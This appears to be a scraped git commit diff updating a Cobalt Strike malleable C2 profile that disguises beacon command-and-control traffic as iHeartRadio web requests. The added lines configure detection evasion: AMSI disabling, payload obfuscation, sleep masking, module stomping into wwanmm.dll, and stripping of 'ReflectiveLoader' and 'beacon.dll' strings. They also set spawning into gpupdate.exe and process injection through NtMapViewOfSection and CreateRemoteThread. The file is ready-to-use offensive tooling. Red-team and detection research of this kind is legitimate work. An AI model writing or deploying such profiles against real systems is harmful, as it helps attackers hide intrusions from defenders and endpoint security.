update to work with 3.14.
xx0hcd
GitHub
parent
759ca8090d
commit
792f5ff251
|
|
@ -1,24 +1,28 @@
|
||||||
#iheartradio
|
#iheartradio
|
||||||
#chose a popular top 40 station 'hit-nation'..
|
#chose a popular top 40 station 'hit-nation'..
|
||||||
#had to cut some things out due to size, especially cookie
|
|
||||||
#the ouput fields look messy but looks good in wireshark during testing
|
|
||||||
#xx0hcd
|
#xx0hcd
|
||||||
|
|
||||||
https-certificate {
|
|
||||||
set CN "iheart.map.fastly.net";
|
|
||||||
set C "US";
|
|
||||||
set O "Fastly Inc.";
|
|
||||||
set L "San Francisco";
|
|
||||||
set ST "California";
|
|
||||||
set validity "365";
|
|
||||||
}
|
|
||||||
|
|
||||||
set sleeptime "30000";
|
set sleeptime "30000";
|
||||||
set jitter "20";
|
set jitter "20";
|
||||||
set useragent "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)";
|
set useragent "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)";
|
||||||
set dns_idle "8.8.8.8";
|
set dns_idle "8.8.8.8";
|
||||||
set maxdns "235";
|
set maxdns "235";
|
||||||
|
|
||||||
|
#custom cert
|
||||||
|
#https-certificate {
|
||||||
|
# set keystore "your_store_file.store";
|
||||||
|
# set password "your_store_pass";
|
||||||
|
#}
|
||||||
|
|
||||||
|
http-config {
|
||||||
|
# set headers "Server, Content-Type, Cache-Control, Connection";
|
||||||
|
# header "Content-Type" "text/html;charset=UTF-8";
|
||||||
|
# header "Connection" "close";
|
||||||
|
# header "Cache-Control" "max-age=2";
|
||||||
|
# header "Server" "nginx";
|
||||||
|
#set "true" if teamserver is behind redirector
|
||||||
|
set trust_x_forwarded_for "false";
|
||||||
|
}
|
||||||
|
|
||||||
http-get {
|
http-get {
|
||||||
|
|
||||||
|
|
@ -180,6 +184,17 @@ http-post {
|
||||||
}
|
}
|
||||||
|
|
||||||
http-stager {
|
http-stager {
|
||||||
|
|
||||||
|
set uri_x86 "/Console";
|
||||||
|
set uri_x64 "/console";
|
||||||
|
|
||||||
|
client{
|
||||||
|
header "Host" "www.iheart.com";
|
||||||
|
header "Accept" "*/*";
|
||||||
|
header "Accept-Language" "en-US";
|
||||||
|
header "Connection" "close";
|
||||||
|
}
|
||||||
|
|
||||||
server {
|
server {
|
||||||
header "Server" "nginx/1.4.6 (Ubuntu)";
|
header "Server" "nginx/1.4.6 (Ubuntu)";
|
||||||
header "Content-Type" "text/html; charset=utf-8";
|
header "Content-Type" "text/html; charset=utf-8";
|
||||||
|
|
@ -190,8 +205,82 @@ http-stager {
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
stage {
|
###Malleable PE Options###
|
||||||
#random compile time
|
|
||||||
set compile_time "02 Jul 2017 05:32:16";
|
post-ex {
|
||||||
set userwx "false";
|
|
||||||
|
set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
|
||||||
|
set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
|
||||||
|
|
||||||
|
set obfuscate "true";
|
||||||
|
|
||||||
|
set smartinject "true";
|
||||||
|
|
||||||
|
set amsi_disable "true";
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
#use peclone on the dll you want to use, this example uses wwanmm.dll. You can also set the values manually.
|
||||||
|
#don't use 'set image_size_xx' if using 'set module_xx'. During testing it seemed to double the size of my payload causing module stomp to fail, need to test it out more though.
|
||||||
|
stage {
|
||||||
|
set checksum "0";
|
||||||
|
set compile_time "25 Oct 2016 01:57:23";
|
||||||
|
set entry_point "170000";
|
||||||
|
#set image_size_x86 "6586368";
|
||||||
|
#set image_size_x64 "6586368";
|
||||||
|
#set name "WWanMM.dll";
|
||||||
|
set userwx "false";
|
||||||
|
set cleanup "true";
|
||||||
|
set sleep_mask "true";
|
||||||
|
set stomppe "true";
|
||||||
|
set obfuscate "true";
|
||||||
|
set rich_header "\xee\x50\x19\xcf\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xa3\x49\xe4\x9c\x84\x31\x77\x9c\x1e\xad\x86\x9c\xae\x31\x77\x9c\x1e\xad\x85\x9c\xa7\x31\x77\x9c\xaa\x31\x76\x9c\x08\x31\x77\x9c\x1e\xad\x98\x9c\xa3\x31\x77\x9c\x1e\xad\x84\x9c\x98\x31\x77\x9c\x1e\xad\x99\x9c\xab\x31\x77\x9c\x1e\xad\x80\x9c\x6d\x31\x77\x9c\x1e\xad\x9a\x9c\xab\x31\x77\x9c\x1e\xad\x87\x9c\xab\x31\x77\x9c\x52\x69\x63\x68\xaa\x31\x77\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
|
||||||
|
|
||||||
|
#obfuscate beacon before sleep.
|
||||||
|
set sleep_mask "true";
|
||||||
|
|
||||||
|
#module stomp. Make sure the dll you use is bigger than your payload and test it with post exploit options to make sure everything is working.
|
||||||
|
|
||||||
|
set module_x86 "wwanmm.dll";
|
||||||
|
set module_x64 "wwanmm.dll";
|
||||||
|
|
||||||
|
#transform allows you to remove, replace, and add strings to beacon's reflective dll stage.
|
||||||
|
transform-x86 {
|
||||||
|
prepend "\x90\x90\x90";
|
||||||
|
strrep "ReflectiveLoader" "";
|
||||||
|
strrep "beacon.dll" "";
|
||||||
|
}
|
||||||
|
|
||||||
|
transform-x64 {
|
||||||
|
prepend "\x90\x90\x90";
|
||||||
|
strrep "ReflectiveLoader" "";
|
||||||
|
strrep "beacon.x64.dll" "";
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
process-inject {
|
||||||
|
|
||||||
|
set allocator "NtMapViewOfSection";
|
||||||
|
|
||||||
|
set min_alloc "16700";
|
||||||
|
|
||||||
|
set userwx "false";
|
||||||
|
|
||||||
|
set startrwx "true";
|
||||||
|
|
||||||
|
transform-x86 {
|
||||||
|
prepend "\x90\x90\x90";
|
||||||
|
}
|
||||||
|
transform-x64 {
|
||||||
|
prepend "\x90\x90\x90";
|
||||||
|
}
|
||||||
|
|
||||||
|
execute {
|
||||||
|
CreateThread "ntdll!RtlUserThreadStart";
|
||||||
|
CreateThread;
|
||||||
|
NtQueueApcThread;
|
||||||
|
CreateRemoteThread;
|
||||||
|
RtlCreateUserThread;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue